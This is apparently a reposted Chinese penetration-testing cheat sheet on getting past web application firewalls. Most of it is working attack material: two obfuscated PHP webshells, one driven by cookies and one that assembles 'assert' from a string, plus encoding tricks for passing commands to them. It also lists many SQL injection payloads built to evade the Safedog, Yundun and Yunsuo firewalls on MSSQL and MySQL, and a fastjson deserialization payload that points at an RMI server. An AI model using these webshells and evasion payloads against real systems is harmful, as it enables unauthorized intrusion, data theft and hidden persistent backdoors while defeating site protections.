|
原文链接:web渗透中bypass防护系统
一. webshell执行命令
文件上传后向webshell传参数:
- 三重url编码
- 三重base64编码
- cookie传参
- 参数污染
- <code class="hljs">http://test/xx.jsp?a=xxx很多的垃圾字符xxx&cmd=whoami</code>
复制代码
cookie传参对应webshell:
x=ls
- <?php
- $p=$_COOKIE;(count($p)==23&&in_array(gettype($p).count($p),$p))?(($p[59]=$p[59].$p[72])&&($p[91]=$p[59]($p[91]))&&($p=$p[91]($p[90],$p[59]($p[31])))&&$p()):$p;
- ?>
复制代码- <?php
- $poc ="axsxsxexrxt";
- $poc_1 = explode("x", $poc);
- $poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3]. $poc_1[4]. $poc_1[5];
- $poc_2(urldecode(urldecode(urldecode($_REQUEST[x]))));
- ?>
复制代码
二. sql注入
1 安全狗
mssql
安全狗对负数不是很敏感,对数学运算后的布尔值也不是敏感。会拦截单引号。
- and @@version>~1
- and (user|1)>-1
- and (db_name()|1)>.1
复制代码
如果from后面直接跟字符或者数字,安全狗会拦截。这时候可以使用下面语句来爆表名:
- and ~1=(select top 1 name from[sysobjects]);--
复制代码
使用下面的语句来加上xtype的限制条件,只输出用户创建的表,可以用char或者hex编码绕过:
- and ~1=(select top 1 name from[sysobjects] where xtype=0x75);--
- and ~1=(select top 1 name from[sysobjects] where xtype=0x75 and name not in (CHAR(105)%2BCHAR(110)%2BCHAR(102)%2BCHAR(111),CHAR(97)%2BCHAR(100)%2BCHAR(109)%2BCHAR(105)%2BCHAR(110)));
复制代码 尝试使用内联注释进行绕过:
- ?id=1 union/*!1*/select null,name,null from [info]--*/
复制代码
利用注释加换行,这个很好用
- ?id=1--/*%0aif (select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:5'--%20*/
- ?id=1--/*%0aexec xp_create_subdir 'c:\text'--%20*/
复制代码
mysql
编辑
判断注入
- ?id='1'|1
- ?id='1'|2
- ?id='1'&2
- ?id='1'&1
- ?id='1'<~1
- ?id=1' and CONCAT(1)-- +
- ?id=1' and CONCAT(0)-- +
- ?id=1' and CONV(1,11,2)-- +
- ?id=1' and CONV(0,11,2)-- +
- ?id=1' and BINARY 1-- +
- ?id=1' and BINARY 0-- +
复制代码
内联注释绕过,fuzz版本号:
编辑
- ?id=1' union/*!11440select*/ 1,2,3--+
- ?id=-1' union/*!11440/**/%0aselect*/ 1,2,3--+
复制代码
注释加换行,重点就在如何让换行符起作用:
- union %23%0aall select
- union -- hex()%0a select
复制代码
参数污染,在php/apache 中 它总解析最后一个id
- ?id=-1' /*&id='union select 1,user(),3 -- +*/
- ?id=-1' /*&id=' union -- hex()%0a select 1,schema_name,3 from `information_schema`.schemata limit 1,1\
复制代码
绕过information_schema:
- `information_schema`.schemata
- `information_schema`.`schemata`
- information_schema.`schemata`
- (information_schema.schemata)
- information_schema/**/.schemata
复制代码
时间盲注:
- and!!!if((substr((select hex(user/**/(/*!*/))),1,1)>1),sleep/**/(/*!5*/),1)
复制代码
布尔盲注
- /*!%26%26*/ substr((select hex(user/**/(/*!*/))),1,1)=r #结果如果为true,则用户有可能是root
- and!!!substr((select unhex(hex(user/**/(/*!*/)))),1,1)=r
- /*!%26%26*/ substr((select hex(user/**/(/*!*/))),1,1)>1
- and!!!substr((select unhex(hex(user/**/(/*!*/)))),1,1)=unhex(72)
复制代码
编辑
编辑
报错注入
- /*updatexml*/(1,1,1)
- /*!5000updatexml*/(1,1,1)
- /*!11440updatexml*/(1,1,1)
- /*!%26%26*/ /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) #and运算符
- /*!xor*/ /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1)
- | /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1)
- xor /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1)
- /*!||*/ /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1)
复制代码- ?id=1' and `updatexml`(1,(select hex(user/**/(/**/))),1)-- +
复制代码
2 云盾
mysql
云盾无法被/**/这种符号bypass,因此内联注释无法使用,但是它对逻辑运算符的符号形式过滤不是特别强。
用&&替代and用||替代or即可,用!代替非逻辑。
- <code>and ~1=1 </code>
- <code>and!!!1=1 </code>
- <code>
- and 1-1 </code>
- <code>
- and true</code>
- <code>
- and 1</code>
复制代码
盲注
- <code class="hljs">and!!!substr((select user-- (1)%0a()),1,1)='r'</code>
复制代码
union
- <code class="hljs">union(select 1,2,3)</code>
复制代码
报错注入
- <code class="hljs">and `updatexml`(1,select `user`%0a(),1)</code>
复制代码
3 云锁
mysql
编辑
- <code>and 'a'-0 #后面的值是0,相当于and 0
- </code><code>and 'a'|1 #后面的值是1,相当于and 1</code>
复制代码
布尔盲注利用注释和换行
- <code>and strcmp((substr((select user/**/()),2,1)),'0')</code><code>?id=1'
- and strcmp((substr((select /*from*/),2,1)),'0')-- + </code><code>?id=1'
- and strcmp((substr((select password/* -- + %0afrom/**/users limit 0,1),1,1)),'D')-- +</code>
复制代码
报错注入
- <code class="hljs">?id=1' and `updatexml`(1,concat(0x7e,(select user/**/()),0x7e),1)/**/-- +</code>
复制代码
fastjson
safeline
- <code class="hljs">{"@type":\b"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:9999","autoCommit":true}}</code>
复制代码
三. 参考文章
https://y4er.com/post/bypass-mysql-safedog/
https://y4er.com/post/bypass-mysql-yunsuo/
https://github.com/shanfenglan/MYSQL_SQL_BYPASS_WIKI/
https://github.com/shanfenglan/M ... 6%80%9D%E8%B7%AF.md
|
|